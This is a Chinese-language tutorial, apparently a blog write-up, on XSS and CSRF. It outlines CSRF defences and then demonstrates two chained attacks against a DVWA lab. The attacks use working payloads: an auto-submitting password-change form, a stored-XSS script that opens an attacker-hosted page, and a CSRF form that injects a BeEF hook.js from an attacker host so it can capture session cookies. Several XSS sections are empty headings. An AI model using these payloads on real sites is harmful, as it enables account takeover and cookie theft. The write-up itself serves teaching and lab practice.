目录
1.xss基础铺垫
1.1反射型xss
1.2存储型xss
1.3基于DOM的xss
1.4xss漏洞的危害
1.5xss漏洞的黑盒测试
1.6xss漏洞的白盒测试
2.csrf基础铺垫
2.1csrf攻击原理
2.2csrf攻击防护
3.应用案例
3.1存储型xss+csrf组合拳
3.2csrf+selfxss组合拳
1.xss基础铺垫
1.1反射型xss
POC（Proof of Concept）是指概念证明或原型验证。在网络安全领域，POC通常是指一个漏洞利用的示例代码或者一个漏洞被发现后的验证方法，以证明该漏洞确实存在，并且可以被攻击者利用。因此，CSRF的POC通常是指漏洞利用的代码或者步骤，用于证明该漏洞的存在和危害性。
1.2存储型xss
1.3基于DOM的xss
1.4xss漏洞的危害
1.5xss漏洞的黑盒测试
1.6xss漏洞的白盒测试
2.csrf基础铺垫
CSRF（Cross-site request forgery） 是跨站请求伪造的缩写。它是一种Web漏洞，当用户的浏览器在未经其知情或同意的情况下代表用户向网站发送未经授权的请求时，就会发生这种漏洞。如果用户访问恶意网站或单击电子邮件或消息中的链接，将其带到具有隐藏表单的站点，该表单会提交一个请求到目标网站。
2.1csrf攻击原理
CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的Web应用程序，去执行并非用户本意的操作。
2.2csrf攻击防护
1. 只使用JSON API
使用JavaScript发起AJAX请求是限制跨域的，并不能通过简单的表单来发送JSON，所以，通过只接收JSON可以很大可能避免CSRF攻击。
2. 验证HTTP Referer字段
根据 HTTP协议，在 HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如上文中用户User想要在网站WebA中进行转账操作，那么用户User必须先登录WabA 然后再通过点击页面上的按钮触发转账事件。
这时该转帐请求的 Referer值就会是转账按钮所在的页面的URL，而如果黑客要对银行网站实施 CSRF攻击，他只能在他自己的网站构造请求，当用户User通过黑客的网站发送请求到WebA时，该请求的 Referer 是指向黑客自己的网站。 因此，要防御CSRF攻击，网站WebA只需要对于每一个转账请求验证其Referer值，如果是以网站WebA的网址开头的域名，则说明该请求是来自WebA自己的请求，是合法的。如果Referer是其他网站的话，则有可能是黑客的CSRF攻击，拒绝该请求。
3. 在请求地址中添加token验证
服务端生成了一个token dsadadarqewajafjoenfeanf
CSRF攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于cookie中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过安全验证。要抵御CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于cookie之中。可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。 这种方法要比检查 Referer 要安全一些，token可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token从session中拿出，与请求中的token进行比对。
3.应用案例
靶场环境：
DVWA：192.168.125.115
攻击者：192.168.125.242
beef-kail：192.168.125.212
组合拳思路
第一拳：存储型 XSS + CSRF（存储型 XSS 攻击代码中加入 CSRF 代码链接）
第二拳：CSRF + SelfXSS（CSRF 代码中加入 SelfXSS 代码）
3.1存储型xss+csrf组合拳
1、构造 POC
a、构造 CSRF 代码
这里建议使用 CSRFTester 工具生成的 POC，比使用 BurpSuite 生成的 POC 更加隐蔽，受害者打开该 POC 后，浏览器会自动执行代码随后跳转到正常页面，中途不需要用户交互，也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
本文所使用的 CSRF POC 便是基于CSRFTester生成的POC。
继续来看，咱们需要首先为浏览器设置 8008 （因为CSRFTester工具监听的是8008端口）代理，打开 DVWA 的 CSRF 模块，输入密码后，先别急着点击 Change.
打开CSRFTester的流量记录功能
开启后，再点击 Change，之后 CSRFTester 就会抓取到修改密码的数据包，这个时候，一般 CSRFTester 还会记录其他流量，所以直接右击将不相关的流量进行删除即可，只保留我们需要的流量。之后，在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可，值得注意的是 Display in Browers 选项是默认勾选的，这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的，所以我这边选择取消勾选。
之后点击 Generate HTML，选择保存的位置后，手动进行修改即可，当然如果工具生成的代码可以正常使用，就不需要修改了。
增加倒数第 4 行的代码，因为没有这一句，这个 POC 是不能正常使用的，最后修改后的 CSRF POC 代码如下。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "32" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.125.115:80/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">
<input type="hidden" name="password_new" value="666666"/>
<input type="hidden" name="password_conf" value="666666"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
b、构造 XSS 代码
<script src="x" onerror=javascript:window.open("http://192.168.125.242/csrf.html")></script>2、 开工
在 XSS (Stored) 模块下，插入 XSS 代码，当然了前提 Security Level 要设置为 low。
在 DVWA 中会碰到 POC 太长而无法输入完全的情况，这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可，这里我设置了 500.
点击 sign guestbook 按钮，POC 就会被插进去了，之后用其他浏览器登陆其他用户，访问存储型 XSS 模块页面，当然前提也需要把 Security Level 要设置为 low.
将我们构造好的POC，放在黑客的WEB服务器上。 我们就是黑客~嘿嘿嘿
访问页面后，浏览器会自动跳转，同时返回修改密码的界面，如果弹出页面显示如上图中的 Password Changed 字样，就说明受害者的密码修改成功了，而这也仅仅是因为受害者点击了一个页面。
总结：
第一拳:将csrf链接插入存储性xss代码中，利用存储性xss漏洞，将攻击代码上传至存储性xss模块。然后使用别的浏览器正常用户，登录正常网站，访问存储性xss模块，代码就会自动执行。
执行效果:代码会让正常用户在登录的状态下，访问黑客的web服务器上我们构造好的poc。poc内容:让正常用户去正常网站进行密码修改（该密码为黑客所要求用户浏览器更改的密码）的操作。
感受:用户全程无感知，利用正常网站对浏览器的信任，黑客让浏览器执行让网站认为正常的操作，实际是黑客的意愿。因为与存储型xss结合，所以每访问一次，攻击代码就执行一次。
3.2csrf+selfxss组合拳
selfxss：毋庸置疑是用户自己的界面，就算想要获取cookie值等信息，那也只能自己获取自己的，没有什么实际作用；
csrf由于防御措施，也无法独自出台；
但是，当两者结合在一块，就可以实现变废为宝的操作。让我们继续往下看：
1、构造 POC
a、构造 XSS 代码
我这里使用 beef 作为 XSS 平台，也可以使用xsshunter等
<script src="http://192.168.125.212:3000/hook.js"></script>b、构造 CSRF 代码
这里继续使用 CSRFTester 工具生成 CSRF POC。
直接放上CSRFTester工具自动生成的poc
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "36" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.125.115:80/vulnerabilities/xss_r/?name=<script src='http://192.168.125.212:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.125.212:3000/hook.js'>"/>
</form>
</body>
</html>将上面代码放到黑客Web服务器(192.168.125.242)中，打开其他浏览器，登陆其他账户，再打开我们构造的 CSRF 链接。
http://192.168.125.242/csrf.html
上述为受害者在登录正常网站的同时，点击了我们发给他的恶意链接，然后查看beef，发现已经上线成功。
正常用户为1337，密码为222222，我们可以通过1337与http://192.168.125.115网站的cookie值，和我们在beef中拿到的cookie值对比，发现一致，证明攻击成功。
不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的，所以个人觉着利用难度要高于第一个组合拳：存储型 XSS + CSRF.
总结：
第二拳:将selfxss代码插入csrf链接中，将构造的含有beef的xss代码插入到反射性漏洞模块，利用csrftester工具进行构造poc，修改，然后让正常用户在访问正常网站的情况下，诱导用户打开我们所构造的链接，用户就会主动向我们的beef服务器发起连接，在beef服务器上就可以看到我们的受害者已经上线，可以查看正常用户与正常网站之间cookie等信息。
感受:需要构造一条链接，诱导受害者去点击，但是这样的漏洞只能触发一次，当然触发一次就足够了。
平时挖洞的时候利用好组合拳，那么效果可能会事半功倍。
